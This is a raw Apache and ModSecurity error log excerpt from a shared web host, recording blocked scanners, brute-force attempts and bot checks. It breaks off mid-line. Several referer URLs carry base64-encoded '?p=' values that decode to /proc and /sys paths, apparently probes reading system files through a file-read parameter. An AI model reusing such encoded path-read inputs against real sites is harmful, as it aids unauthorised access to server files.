"/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xpMTA7b1mZrmcA-8rKQACVBw"] [Sat Jun 13 18:11:16.862904 2026] [access_compat:error] [pid 531155:tid 531173] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZHJpdmVyL3NlcmlvMC9zdWJzeXN0ZW0= [Sat Jun 13 18:11:16.863245 2026] [access_compat:error] [pid 531155:tid 531173] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZHJpdmVyL3NlcmlvMC9zdWJzeXN0ZW0= [Sat Jun 13 18:11:16.891175 2026] [security2:error] [pid 531797:tid 532108] [client 74.7.241.135:42408] ModSecurity: Warning. Matched phrase "oBot" at REQUEST_HEADERS:user-agent. [file "/opt/mod_security/hg_rules.conf"] [line "168"] [id "350001"] [msg "BAD BOT - Detected LOGGING"] [data "301"] [hostname "electricbeachwagons.com"] [uri "/robots.txt"] [unique_id "ai3xpMTA7b1mZrmcA-8rLwAAAoE"] [Sat Jun 13 18:11:16.908158 2026] [access_compat:error] [pid 531797:tid 531951] [remote 216.73.216.182:44965] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:16.908435 2026] [access_compat:error] [pid 531797:tid 531951] [remote 216.73.216.182:44965] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:16.975505 2026] [access_compat:error] [pid 531797:tid 531918] [remote 57.141.14.61:38352] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:16.975930 2026] [access_compat:error] [pid 531797:tid 531918] [remote 57.141.14.61:38352] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:17.025557 2026] [security2:error] [pid 531155:tid 531394] [client 74.7.241.135:45020] ModSecurity: Warning. Matched phrase "oBot" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "168"] [id "350001"] [msg "BAD BOT - Detected LOGGING"] [data "200"] [hostname "electricbeachwagons.com"] [uri "/robots.txt"] [unique_id "ai3xpSmiP80klyS0Nnr9NQABdzE"], referer: http://electricbeachwagons.com/robots.txt [Sat Jun 13 18:11:17.025657 2026] [security2:error] [pid 531155:tid 531394] [client 74.7.241.135:45020] ModSecurity: Warning. Matched phrase "oBot" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "168"] [id "350001"] [msg "BAD BOT - Detected LOGGING"] [data "200"] [hostname "electricbeachwagons.com"] [uri "/robots.txt"] [unique_id "ai3xpSmiP80klyS0Nnr9NgABd2c"] [Sat Jun 13 18:11:17.144033 2026] [access_compat:error] [pid 531155:tid 531240] [remote 57.141.14.82:44992] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:17.144497 2026] [access_compat:error] [pid 531155:tid 531240] [remote 57.141.14.82:44992] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:17.356036 2026] [security2:error] [pid 531155:tid 531181] [remote 17.246.19.130:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 130.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xpSmiP80klyS0Nnr9SgABXRk"] [Sat Jun 13 18:11:17.381816 2026] [access_compat:error] [pid 531155:tid 531243] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0Ni9kZXZpY2U= [Sat Jun 13 18:11:17.382097 2026] [access_compat:error] [pid 531155:tid 531243] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0Ni9kZXZpY2U= [Sat Jun 13 18:11:17.711238 2026] [security2:error] [pid 531155:tid 531156] [remote 17.22.245.59:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 59.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xpSmiP80klyS0Nnr9UwABawA"] [Sat Jun 13 18:11:17.732924 2026] [access_compat:error] [pid 531797:tid 531925] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNTMxNDkx [Sat Jun 13 18:11:17.733244 2026] [access_compat:error] [pid 531797:tid 531925] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNTMxNDkx [Sat Jun 13 18:11:17.910930 2026] [access_compat:error] [pid 531155:tid 531270] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQxL3N1YnN5c3RlbS9pbnB1dDU= [Sat Jun 13 18:11:17.911206 2026] [access_compat:error] [pid 531155:tid 531270] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQxL3N1YnN5c3RlbS9pbnB1dDU= [Sat Jun 13 18:11:18.038420 2026] [security2:error] [pid 531797:tid 531906] [remote 86.17.71.17:0] ModSecurity: Warning. Pattern match "/(contact(o|.?us)?|wp-comments-post|(send)?.?(form.)?e?mail(er)?|memberlist|send|contact.form(.handler)?|thankyou|leafmailer[0-9.]*)\\\\.php" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1546"] [id "900923"] [msg "contact form logging"] [hostname "www.torquayfans.com"] [uri "/memberlist.php"] [unique_id "ai3xpcTA7b1mZrmcA-8rUwACOSo"], referer: https://www.torquayfans.com [Sat Jun 13 18:11:18.038447 2026] [security2:error] [pid 531797:tid 531906] [remote 86.17.71.17:0] ModSecurity: Access denied with code 409 (phase 2). Match of "eq 1" against "&REQUEST_COOKIES:humans_21909" required. [file "/opt/mod_security/hg_rules.conf"] [line "1552"] [id "900424"] [msg "Transparent Bot Detection for Contact Forms"] [hostname "www.torquayfans.com"] [uri "/memberlist.php"] [unique_id "ai3xpcTA7b1mZrmcA-8rUwACOSo"], referer: https://www.torquayfans.com [Sat Jun 13 18:11:18.169983 2026] [access_compat:error] [pid 531797:tid 531972] [remote 57.141.14.47:55872] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:18.170267 2026] [access_compat:error] [pid 531797:tid 531972] [remote 57.141.14.47:55872] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:18.270439 2026] [security2:error] [pid 531797:tid 531913] [remote 17.241.75.222:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 222.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xpsTA7b1mZrmcA-8rXAACIjE"] [Sat Jun 13 18:11:18.409587 2026] [security2:error] [pid 531797:tid 531927] [remote 17.246.19.174:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 174.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xpsTA7b1mZrmcA-8rZgACjz8"] [Sat Jun 13 18:11:18.432578 2026] [access_compat:error] [pid 531155:tid 531158] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQyL3N1YnN5c3RlbS9pbnB1dDcvY2FwYWJpbGl0aWVz [Sat Jun 13 18:11:18.432948 2026] [access_compat:error] [pid 531155:tid 531158] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQyL3N1YnN5c3RlbS9pbnB1dDcvY2FwYWJpbGl0aWVz [Sat Jun 13 18:11:18.447296 2026] [access_compat:error] [pid 531797:tid 531961] [remote 57.141.14.62:24108] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:18.447560 2026] [access_compat:error] [pid 531797:tid 531961] [remote 57.141.14.62:24108] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:18.491405 2026] [security2:error] [pid 531797:tid 531924] [remote 67.205.7.2:33974] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 2.7.205.67.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "djstardao.com"] [uri "/wp-login.php"] [unique_id "ai3xpsTA7b1mZrmcA-8raQACfzw"] [Sat Jun 13 18:11:18.559177 2026] [security2:error] [pid 531797:tid 531894] [remote 17.22.253.200:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 200.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xpsTA7b1mZrmcA-8rawACYB4"] [Sat Jun 13 18:11:18.597888 2026] [security2:error] [pid 531155:tid 531177] [remote 17.246.23.48:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 48.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xpimiP80klyS0Nnr9awABcBU"] [Sat Jun 13 18:11:18.645428 2026] [access_compat:error] [pid 531797:tid 531909] [remote 57.141.14.76:53361] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:18.645881 2026] [access_compat:error] [pid 531797:tid 531909] [remote 57.141.14.76:53361] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:18.653283 2026] [access_compat:error] [pid 531155:tid 531227] [remote 57.141.14.97:22882] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:18.653574 2026] [access_compat:error] [pid 531155:tid 531227] [remote 57.141.14.97:22882] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:18.674331 2026] [security2:error] [pid 531797:tid 531971] [remote 67.205.7.2:33974] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 2.7.205.67.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "djstardao.com"] [uri "/wp-login.php"] [unique_id "ai3xpsTA7b1mZrmcA-8rbwACfmo"], referer: https://djstardao.com/wp-login.php [Sat Jun 13 18:11:18.901593 2026] [security2:error] [pid 531797:tid 531956] [remote 17.241.227.148:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 148.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xpsTA7b1mZrmcA-8rdAACMlw"] [Sat Jun 13 18:11:18.905508 2026] [lsapi:warn] [pid 531797:tid 531893] [remote 172.171.4.182:1848] [host indoorenvironmentaltesting.com] Backend log: PHP Warning: Trying to access array offset on value of type bool in /home4/indoore1/public_html/wp-content/plugins/real-time-find-and-replace/real-time-find-and-replace.php on line 258\n [Sat Jun 13 18:11:18.963241 2026] [access_compat:error] [pid 531797:tid 531873] [remote 57.141.14.92:53012] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:18.963534 2026] [access_compat:error] [pid 531797:tid 531873] [remote 57.141.14.92:53012] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:18.986880 2026] [access_compat:error] [pid 531155:tid 531187] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vaW5wdXQxL2RldmljZS9wb3dlcg== [Sat Jun 13 18:11:18.987209 2026] [access_compat:error] [pid 531155:tid 531187] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vaW5wdXQxL2RldmljZS9wb3dlcg== [Sat Jun 13 18:11:19.193898 2026] [access_compat:error] [pid 531797:tid 531952] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNzQ5NDQ2 [Sat Jun 13 18:11:19.194154 2026] [access_compat:error] [pid 531797:tid 531952] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNzQ5NDQ2 [Sat Jun 13 18:11:19.431085 2026] [access_compat:error] [pid 531155:tid 531183] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvc3Vic3lzdGVtL2lucHV0NS9ldmVudDMvZGV2aWNlL2lk [Sat Jun 13 18:11:19.431363 2026] [access_compat:error] [pid 531155:tid 531183] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvc3Vic3lzdGVtL2lucHV0NS9ldmVudDMvZGV2aWNlL2lk [Sat Jun 13 18:11:19.433933 2026] [access_compat:error] [pid 531797:tid 531974] [remote 57.141.14.84:21768] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:19.434213 2026] [access_compat:error] [pid 531797:tid 531974] [remote 57.141.14.84:21768] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:19.507864 2026] [access_compat:error] [pid 531797:tid 532101] [client 47.79.206.219:41944] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.google.com/ [Sat Jun 13 18:11:19.508281 2026] [access_compat:error] [pid 531797:tid 532101] [client 47.79.206.219:41944] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.google.com/ [Sat Jun 13 18:11:19.612967 2026] [security2:error] [pid 531797:tid 532104] [client 216.73.217.70:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 70.217.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/spl/tests/observer_005.phpt"] [unique_id "ai3xp8TA7b1mZrmcA-8rhAAAAn0"] [Sat Jun 13 18:11:19.835049 2026] [access_compat:error] [pid 531797:tid 531931] [remote 57.141.14.80:44417] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:19.835371 2026] [access_compat:error] [pid 531797:tid 531931] [remote 57.141.14.80:44417] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:19.843267 2026] [security2:error] [pid 531797:tid 531976] [remote 17.241.219.237:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 237.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xp8TA7b1mZrmcA-8rigACG28"] [Sat Jun 13 18:11:19.881523 2026] [access_compat:error] [pid 531797:tid 531992] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNTMxODAz [Sat Jun 13 18:11:19.881810 2026] [access_compat:error] [pid 531797:tid 531992] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNTMxODAz [Sat Jun 13 18:11:19.890139 2026] [security2:error] [pid 531797:tid 531904] [remote 50.87.144.31:58510] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 